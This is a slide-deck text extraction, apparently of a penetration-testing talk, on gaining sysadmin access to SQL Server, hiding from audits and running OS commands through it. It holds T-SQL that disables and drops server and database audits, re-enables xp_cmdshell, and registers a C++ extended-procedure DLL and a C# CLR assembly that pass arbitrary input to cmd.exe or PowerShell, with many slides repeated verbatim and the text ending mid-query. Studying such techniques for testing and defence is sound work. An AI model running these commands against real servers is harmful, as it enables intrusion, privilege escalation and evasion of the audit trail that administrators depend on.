SlideShare a Scribd company logo
BEYOND XP_CMDSHELL
OWNING THE EMPIRE THROUGH SQL SERVER
2 Confidential & Proprietary2 Confidential & Proprietary
MISSION
TO SYSADMIN…
…AND BEYOND!
3 Confidential & Proprietary
BEYOND XP_CMDSHELL: PRESENTATION OVERVIEW
3
MISSION OBJECTIVES
1. Get Access
2. Hide from Audit Controls
3. Execute OS Commands
4. Use SQL Server as a beach head
5. Detect OS Command Execution
4 Confidential & Proprietary
BEYOND XP_CMDSHELL
4
Who are we?
 Alexander Leary
 Scott Sutherland
5 Confidential & Proprietary
BEYOND XP_CMDSHELL
5
Alexander Leary
Name: Alexander Leary
Job: Network & Application Pentester @ NetSPI
Twitter: @0xbadjuju
Slides: On their way 
Blogs: https://blog.netspi.com/author/aleary/
Code: https://blog.netspi.com/expanding-the-empire-with-sql/
WMI
FUN
4 U
6 Confidential & Proprietary
BEYOND XP_CMDSHELL
6
Scott Sutherland
Name: Scott Sutherland
Job: Network & Application Pentester @ NetSPI
Twitter: @_nullbind
Slides: http://slideshare.net/nullbind
http://slideshare.net/netspi
Blogs: https://blog.netspi.com/author/scott-sutherland/
Code: https://github.com/netspi/PowerUpSQL
https://github.com/nullbind
7 Confidential & Proprietary7 Confidential & Proprietary
GET ACCESS
8 Confidential & Proprietary
BEYOND XP_CMDSHELL: GET ACCESS
8
Get Access: Escalation Path
1. Locate SQL Servers on the domain via LDAP queries
to DC
2. Attempt to log into each one as the current
domain user
3. Perform UNC path injection to capture SQL Server
service account password hash
Reference: https://blog.netspi.com/blindly-discover-sql-server-instances-powerupsql/
9 Confidential & Proprietary
BEYOND XP_CMDSHELL: GET ACCESS
9
Get Access: Privilege Escalation Path
Domain
User
Access
Excessive
Privileges
Public Role
on
SQL Server
UNC Path
Injection
Attack IP
https://gist.githubusercontent.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e
Crack or Relay
Password Hash
Access
SQL Server using
Service Account
(sysadmin)
10 Confidential & Proprietary
10
Get Access: PowerUpSQL Automation
BEYOND XP_CMDSHELL: GET ACCESS
Action PowerUpSQL Function
Get SQL Server service account
password hashes
Invoke-SQLUncPathInjection
11 Confidential & Proprietary
11
Get Access: PowerUpSQL Automation
 Invoke-SQLUncPathInjection
 Written by Thomas Elling
 Gold Star PowerUpSQL contributor!
BEYOND XP_CMDSHELL: GET ACCESS
12 Confidential & Proprietary
BEYOND XP_CMDSHELL: GET ACCESS
12
DEMO
13 Confidential & Proprietary
BEYOND XP_CMDSHELL: GET ACCESS
13
14 Confidential & Proprietary14 Confidential & Proprietary
HIDE FROM
AUDIT
CONTROLS
15 Confidential & Proprietary
BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS
15
Checking Audit Controls
 List Server audits
 List Server audit specifications (DDL Events)
 List Database audit specifications (DML Events)
Server
Audit
Server Audit
Specification
Database 1
Audit
Specification
Database 2
Audit
Specification
https://msdn.microsoft.com/en-us/library/cc280663(v=sql.100).aspx
16 Confidential & Proprietary
BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS
16
Checking Audit Controls – Code – List Server Audits
SELECT * FROM sys.dm_server_audit_status
17 Confidential & Proprietary
17
18 Confidential & Proprietary
BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS
18
Checking Audit Controls – Code – List Server Specs
SELECT audit_id,
a.name as audit_name,
s.name as server_specification_name,
d.audit_action_name,
s.is_state_enabled,
d.is_group,
d.audit_action_id,
s.create_date,
s.modify_date
FROM sys.server_audits AS a
JOIN sys.server_audit_specifications AS s
ON a.audit_guid = s.audit_guid
JOIN sys.server_audit_specification_details AS d
ON s.server_specification_id = d.server_specification_id
19 Confidential & Proprietary
19
20 Confidential & Proprietary
BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS
20
Checking Audit Controls – Code – List Database Specs
SELECT a.audit_id,
a.name as audit_name,
s.name as database_specification_name,
d.audit_action_name,
d.major_id,
OBJECT_NAME(d.major_id) as object,
s.is_state_enabled,
d.is_group, s.create_date,
s.modify_date,
d.audited_result
FROM sys.server_audits AS a
JOIN sys.database_audit_specifications AS s
ON a.audit_guid = s.audit_guid
JOIN sys.database_audit_specification_details AS d
ON s.database_specification_id = d.database_specification_id
21 Confidential & Proprietary
21
22 Confidential & Proprietary
BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS
22
Hiding from Audit Controls
 Remove audit controls – not recommended
 Disable audit controls – not recommended
 Just use techniques that aren’t being audited
23 Confidential & Proprietary
BEYOND XP_CMDSHELL: HIDE FROM AUDIT CONTROLS
23
Hiding from Audit Controls –Disable or Remove Audit
-- Disable and remove SERVER AUDIT
ALTER SERVER AUDIT DerbyAudit
WITH (STATE = OFF)
DROP SERVER AUDIT Audit_StartUp_Procs
-- Disable and remove SERVER AUDIT SPECIFICATION
ALTER SERVER AUDIT SPECIFICATION Audit_Server_Configuration_Changes
WITH (STATE = OFF)
DROP SERVER AUDIT SPECIFICATION Audit_Server_Configuration_Changes
-- Disable and remove DATABASE AUDIT SPECIFICATION
ALTER DATABASE AUDIT SPECIFICATION Audit_OSCMDEXEC
WITH (STATE = OFF)
DROP DATABASE AUDIT SPECIFICATION Audit_OSCMDEXEC
24 Confidential & Proprietary
24
“This event is raised
whenever any audit is
created, modified or
deleted.”
25 Confidential & Proprietary
25
Obtain Sysadmin Access – Automation – PowerUpSQL
BEYOND XP_CMDSHELL: HIDE FROM AUDITING CONTROLS
Action PowerUpSQL Function
Get Server Specifications Get-SQLAuditServerSpec
Get Database Specifications Get-SQLAuditDatabaseSpec
26 Confidential & Proprietary26 Confidential & Proprietary
OS COMMAND
EXECUTION
Where?
Everywhere!
27 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
27
Reminder
OS commands via SQL Server = Windows Account Impersonation
Many possible configurations:
 Local User
 Local System
 Network Service
 Local Managed Service Account
 Domain Managed Service Account
 Domain User
 Domain Admin
28 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
28
SQL Server Agent
Service
29 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
29
Use SQL Server components to run commands via
 .Net Methods
 New Process() + UseShellExecute
 System.management.automation.powershell
 C++ Methods
 ShellExecute / ShellExecuteEx
 System
 COM Objects
 wscript.shell
 shell.application
30 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
30
xp_cmdshell
31 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – XP_CMDSHELL
31
xp_cmdshell: Overview
1. C++ DLL export registered by default
2. Affected Versions: All
 Disabled by default since SQL Server 2005
3. Requires sysadmin role by default
4. EXECUTE privileges can be granted to a database user if the
xp_cmdshell_proxy_account is configured correctly
5. Executes as the SQL Server service account
32 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – XP_CMDSHELL
32
xp_cmdshell: Configuration Changes and Execution
Action TSQL Example
Re-Install sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'
Re-Enable
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
GO
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
GO
Execute Exec master..xp_cmdshell 'whoami'
33 Confidential & Proprietary
33
xp_cmdshell: Automation – PowerUpSQL
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP_CMDSHELL
Action PowerUpSQL Function
Execute OS Commands via
xp_cmdshell
Invoke-SQLOSCmdExec
34 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION – XP_CMDSHELL
34
xp_cmdshell is monitored more than we’d like
CAN THEY
SEE ME ?!?!
CAN THEY
SEE ME ?!?! Yes, yes they can.
35 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
35
GOOD
NEWS
36 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
36
THERE ARE
OTHER
OPTIONS
37 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
37
1. Extended Stored Procedures
2. CLR Assemblies
3. Agent Jobs
(a) CMDEXEC (b) PowerShell (c) ActiveX: VBScript (d) ) ActiveX: Jscript (e) SSIS
4. Ole Automation Procedures
5. R Scripts
6. Python Scripts
7. Openrowset/OpenDataSource/OpenQuery using Providers
8. Registry and file autoruns
38 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
38
Extended Stored
Procedures
39 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
39
Extended Stored Procedure (XP) - Overview
1. C++ DLL export that maps to SQL Server stored procedure
2. Affected Versions: All
3. Requires sysadmin role by default
4. Executes as the SQL Server service account
5. The DLL can have any file extension 
6. The DLL can be loaded from Webdav 
40 Confidential & Proprietary
40
Extended Stored Procedure – Code – C++
#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return 1;
}
__declspec(dllexport) ULONG __GetXpVersion() {
return 1;
}
#define RUNCMD_FUNC extern "C" __declspec (dllexport)
RUNPS_FUNC int __stdcall RunPs(const char * Command) {
ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C " 'This is a test.'|out-file c:temptest_ps2.txt " "), TEXT(" C: "), SW_SHOW);
system("PowerShell -C "'This is a test.'|out-file c:temptest_ps1.txt"");
return 1;
}
Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
41 Confidential & Proprietary
41
Extended Stored Procedure – Code – C++
#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return 1;
}
__declspec(dllexport) ULONG __GetXpVersion() {
return 1;
}
#define RUNCMD_FUNC extern "C" __declspec (dllexport)
RUNPS_FUNC int __stdcall RunPs(const char * Command) {
ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C " 'This is a test.'|out-file c:temptest_ps2.txt " "), TEXT(" C: "), SW_SHOW);
system("PowerShell -C "'This is a test.'|out-file c:temptest_ps1.txt"");
return 1;
}
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
42 Confidential & Proprietary
42
Extended Stored Procedure – Code – C++
#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return 1;
}
__declspec(dllexport) ULONG __GetXpVersion() {
return 1;
}
#define RUNCMD_FUNC extern "C" __declspec (dllexport)
RUNPS_FUNC int __stdcall RunPs(const char * Command) {
ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C " 'This is a test.'|out-file c:temptest_ps2.txt " "), TEXT(" C: "), SW_SHOW);
system("PowerShell -C "'This is a test.'|out-file c:temptest_ps1.txt"");
return 1;
}
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
43 Confidential & Proprietary
43
Extended Stored Procedure – Code – C++
#include "stdio.h"
#include "stdafx.h"
#include "srv.h"
#include "shellapi.h"
#include "string"
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return 1;
}
__declspec(dllexport) ULONG __GetXpVersion() {
return 1;
}
#define RUNCMD_FUNC extern "C" __declspec (dllexport)
RUNPS_FUNC int __stdcall RunPs(const char * Command) {
ShellExecute(NULL, TEXT("open"), TEXT("powershell"), TEXT(" -C " 'This is a test.'|out-file c:temptest_ps2.txt " "), TEXT(" C: "), SW_SHOW);
system("PowerShell -C "'This is a test.'|out-file c:temptest_ps1.txt"");
return 1;
}
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Reference: http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
Reference: https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/creating-extended-stored-procedures
44 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
44
Extended Stored Procedure (XP) - Instructions
1. Compile the C++ DLL
2. Register the exported DLL functions in SQL Server using
“sp_addextendedproc“ (“DBCC ADDEXTENDEDPROC” wrapper)
45 Confidential & Proprietary
45
Extended Stored Procedure – Code – TSQL
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
-- Register xp via local disk
sp_addextendedproc ‘RunPs', ‘c:runps.dll’
-- Register xp via UNC path
sp_addextendedproc ‘RunPs', 'servernamepathtofilerunps.dll’
-- Register xp via webdav path
sp_addextendedproc ‘RunPs', 'servername@80pathtofilerunps.dll’
-- Register xp via webdav path and renamed with a .txt extension
sp_addextendedproc ‘RunPs', 'servername@80pathtofilerunps.txt’
-- Run xp
Exec RunPs
-- Remove xp
sp_dropextendedproc ‘RunPs’
46 Confidential & Proprietary
46
Extended Stored Procedures – Automation – PowerUpSQL
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
Action PowerUpSQL Function
Create DLL to Execute OS
Commands via XP
Create-SQLFileXpDll
List existing XP for all
databases
Get-SQLStoredProcedureXP
47 Confidential & Proprietary
47
Extended Stored Procedure – Automation - PowerUpSQL
PS C:> Import-Module .PowerUpSQL.psd1
PS c:> Create-SQLFileXpDll -Verbose -OutFile c:mycmd.dll -Command "echo pure evil >
c:evil.txt" -ExportName xp_mycmd
VERBOSE: Found buffer offset for command: 32896
VERBOSE: Found buffer offset for function name: 50027
VERBOSE: Found buffer offset for buffer: 50035
VERBOSE: Creating DLL c:mycmd.dll
VERBOSE: - Exported function name: xp_mycmd
VERBOSE: - Exported function command: "echo pure evil > c:evil.txt"
VERBOSE: - Manual test: rundll32 c:mycmd.dll,xp_mycmd
VERBOSE: - DLL written
VERBOSE: SQL Server Notes
VERBOSE: The exported function can be registered as a SQL Server extended stored
procedure...
VERBOSE: - Register xp via local disk: sp_addextendedproc 'xp_mycmd', 'c:myxp.dll'
VERBOSE: - Register xp via UNC path: sp_addextendedproc 'xp_mycmd',
'servernamepathtofilemyxp.dll'
VERBOSE: - Unregister xp: sp_dropextendedproc 'xp_mycmd
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
48 Confidential & Proprietary
48
Extended Stored Procedure – Automation - PowerUpSQL
PS C:> Import-Module .PowerUpSQL.psd1
PS c:> Create-SQLFileXpDll -Verbose -OutFile c:mycmd.dll -Command "echo pure evil >
c:evil.txt" -ExportName xp_mycmd
VERBOSE: Found buffer offset for command: 32896
VERBOSE: Found buffer offset for function name: 50027
VERBOSE: Found buffer offset for buffer: 50035
VERBOSE: Creating DLL c:mycmd.dll
VERBOSE: - Exported function name: xp_mycmd
VERBOSE: - Exported function command: "echo pure evil > c:evil.txt"
VERBOSE: - Manual test: rundll32 c:mycmd.dll,xp_mycmd
VERBOSE: - DLL written
VERBOSE: SQL Server Notes
VERBOSE: The exported function can be registered as a SQL Server extended stored
procedure...
VERBOSE: - Register xp via local disk: sp_addextendedproc 'xp_mycmd', 'c:myxp.dll'
VERBOSE: - Register xp via UNC path: sp_addextendedproc 'xp_mycmd',
'servernamepathtofilemyxp.dll'
VERBOSE: - Unregister xp: sp_dropextendedproc 'xp_mycmd
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
49 Confidential & Proprietary
49
Extended Stored Procedure – Automation - PowerUpSQL
PS C:> Import-Module .PowerUpSQL.psd1
PS c:> Create-SQLFileXpDll -Verbose -OutFile c:mycmd.dll -Command "echo pure evil >
c:evil.txt" -ExportName xp_mycmd
VERBOSE: Found buffer offset for command: 32896
VERBOSE: Found buffer offset for function name: 50027
VERBOSE: Found buffer offset for buffer: 50035
VERBOSE: Creating DLL c:mycmd.dll
VERBOSE: - Exported function name: xp_mycmd
VERBOSE: - Exported function command: "echo pure evil > c:evil.txt"
VERBOSE: - Manual test: rundll32 c:mycmd.dll,xp_mycmd
VERBOSE: - DLL written
VERBOSE: SQL Server Notes
VERBOSE: The exported function can be registered as a SQL Server extended stored
procedure...
VERBOSE: - Register xp via local disk: sp_addextendedproc 'xp_mycmd', 'c:myxp.dll'
VERBOSE: - Register xp via UNC path: sp_addextendedproc 'xp_mycmd',
'servernamepathtofilemyxp.dll'
VERBOSE: - Unregister xp: sp_dropextendedproc 'xp_mycmd
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - XP
51 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION
51
Common Language
Runtime (CLR)
Assemblies
52 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
52
CLR Assemblies- Overview
1. .net DLL method that maps to a SQL Server stored procedure 
2. Affected Versions: SQL Server 2008 to 2017 (so far)
3. Requires sysadmin role by default
4. Non sysadmin privileges: CREATE ASSEMBLY, ALTER ASSEMBLY, or
DDL_ADMIN Role
5. Executes as the SQL Server service account
53 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CRL
53
CLR Assemblies- Overview
Lots of great work by:
 Lee Christensen (@tifkin_)
 Nathan Kirk
http://sekirkity.com/command-execution-in-sql-server-via-fileless-clr-based-custom-stored-procedure/
54 Confidential & Proprietary
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
54
CLR Assemblies - Instructions
1. Compile a .net assembly DLL
2. Server level setting: “clr enabled” set to 1
3. Server level setting: “clr strict security” set to 0 (2017)
4. Database level setting: “is_trustworthy” is set to “1”
- (or) use the default “msdb” database
5. Create Assembly from the file (or hexdecimal string)
- assembly is stored in SQL Server Table
6. Create Procedure that maps to CLR methods
7. Run your procedure
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
55 Confidential & Proprietary
55
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures {
[Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand)
{
// Run command
Process proc = new Process();
proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Return command resutls
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
56 Confidential & Proprietary
56
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures {
[Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand)
{
// Run command
Process proc = new Process();
proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Return command results
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
57 Confidential & Proprietary
57
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures {
[Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand)
{
// Run command
Process proc = new Process();
proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Return command results
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
58 Confidential & Proprietary
58
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures {
[Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand)
{
// Run command
Process proc = new Process();
proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Return command results
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
59 Confidential & Proprietary
59
CLR Assemblies – Code Sample - .net DLL
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures {
[Microsoft.SqlServer.Server.SqlProcedure] public static void cmd_exec (SqlString execCommand)
{
// Run command
Process proc = new Process();
proc.StartInfo.FileName = @"C:WindowsSystem32cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Return command results
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
SqlContext.Pipe.SendResultsStart(record);
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
SqlContext.Pipe.SendResultsRow(record);
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
60 Confidential & Proprietary
60
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb
-- Enable show advanced options on the server
sp_configure 'show advanced options’,1
RECONFIGURE
GO
-- Enable CLR on the server
sp_configure 'clr enabled’,1
RECONFIGURE
GO
-- Create the assembly from a file path
CREATE ASSEMBLY my_assembly FROM 'c:tempcmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
-- Create a procedure that links to the CLR method
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO
-- Execute the procedure
Exec cmd_exec ‘whoami’
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
61 Confidential & Proprietary
61
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb
-- Enable show advanced options on the server
sp_configure 'show advanced options’,1
RECONFIGURE
GO
-- Enable CLR on the server
sp_configure 'clr enabled’,1
RECONFIGURE
GO
-- Create the assembly from a file path
CREATE ASSEMBLY my_assembly FROM 'c:tempcmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
-- Create a procedure that links to the CLR method
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO
-- Execute the procedure
Exec cmd_exec ‘whoami’
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
62 Confidential & Proprietary
62
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb
-- Enable show advanced options on the server
sp_configure 'show advanced options’,1
RECONFIGURE
GO
-- Enable CLR on the server
sp_configure 'clr enabled’,1
RECONFIGURE
GO
-- Create the assembly from a file path
CREATE ASSEMBLY my_assembly FROM 'c:tempcmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
-- Create a procedure that links to the CLR method
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO
-- Execute the procedure
Exec cmd_exec ‘whoami’
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
63 Confidential & Proprietary
63
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb
-- Enable show advanced options on the server
sp_configure 'show advanced options’,1
RECONFIGURE
GO
-- Enable CLR on the server
sp_configure 'clr enabled’,1
RECONFIGURE
GO
-- Create the assembly from a file path
CREATE ASSEMBLY my_assembly FROM 'c:tempcmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
-- Create a procedure that links to the CLR method
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO
-- Execute the procedure
Exec cmd_exec ‘whoami’
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
64 Confidential & Proprietary
64
CLR Assemblies – Code Sample - TSQL
-- Select the msdb database
use msdb
-- Enable show advanced options on the server
sp_configure 'show advanced options’,1
RECONFIGURE
GO
-- Enable CLR on the server
sp_configure 'clr enabled’,1
RECONFIGURE
GO
-- Create the assembly from a file path
CREATE ASSEMBLY my_assembly FROM 'c:tempcmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
-- Create a procedure that links to the CLR method
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME
[my_assembly].[StoredProcedures].[cmd_exec];
GO
-- Execute the procedure
Exec cmd_exec ‘whoami’
BEYOND XP_CMDSHELL: OS COMMAND EXECUTION - CLR
Reference: https://blog.netspi.com/attacking-sql-server-clr-assemblies/
Reference: https://github.com/sekirkity/SeeCLRly/blob/master/SeeCLRly.ps1
66 Confidential & Proprietary
66
CLR Assemblies – Code – TSQL – Select Assemblies
USE msdb;
SELECT SCHEMA_NAME(so.[schema_id]) AS [schema_name],
af.file_id,
af.name + '.dll' as [file_name],
asmbly.clr_name,
asmbly.assembly_id,
asmbly.name AS [assembly_name],
am.assembly_class,
am.assembly_method,
